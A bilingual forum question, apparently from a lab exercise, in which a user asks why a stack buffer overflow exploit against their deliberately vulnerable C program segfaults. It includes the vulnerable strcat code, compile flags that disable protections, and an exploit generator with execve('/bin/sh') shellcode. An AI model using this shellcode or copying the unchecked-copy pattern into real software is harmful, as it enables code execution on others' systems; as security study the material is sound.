为我的易受攻击的程序执行缓冲区溢出不起作用

Executing a Buffer Overflow for my vulnerable program not working

提问人:Jan 提问时间:11/14/2023 最后编辑:Jan 更新时间:11/14/2023 访问量:74

问:

我在 C 语言中有以下程序:

#include <stdio.h>
#include <string.h>

void foo(char * name) {
   char buf[128];
   strcpy(buf, "The next step is... ");
   strcat(buf, name);
   strcat(buf, ".");
   puts(buf);
}
int main(int argc, char ** argv) {
   if (argc < 2)
      puts("Please enter a command line parameter.");
   else
      foo(argv[1]);
   return 0;
}

这是我利用代码的程序:

#include <stdio.h>
#include <string.h>

char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff"
                   "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31"
                   "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"
                   "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
                   "\x30\xf3\xff\bf";

int main() {
   int i;
   //128 buffer length, 20 string length, 4 oldEBP, 4 return address
   for (i=0; i<128-20-strlen(shellcode)+4+4; i++) printf("\x90");
   printf("%s", shellcode);
   return 0;
}

易受攻击的程序编译如下:

gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c

我从 gdb 获取返回地址:

(gdb) x/xb buf
0xbffff330:     0x88

我遇到分段错误,我想知道我是否错过了要覆盖的地址或我做错了什么。

它在 32 位 Ubuntu 10.04 VM 上运行。

运行:i r

enter image description here

C Linux 缓冲区溢出

评论

3赞 Eugene Sh. 11/14/2023
在当前的操作系统上,这些较旧的漏洞利用可能无法像以前那样工作,因为这些操作系统现在有不同的保护措施,例如 ASLR(虽然可以禁用......
1赞 Jan 11/14/2023
我停用了 ASLR
1赞 Eugene Sh. 11/14/2023
您的代码似乎不正确。你有一个函数,但调用 .foosome_function
1赞 Jabberwocky 11/14/2023
也可能是因为编译器生成了不同的代码,并且漏洞利用不再起作用。您需要在程序集级别对此进行调试。
1赞 Chris Dodd 11/14/2023
堆栈布局可能发生了一些变化。使用 gdb 查看实际的 SEGV 在哪里以及它发生的原因。

答: 暂无答案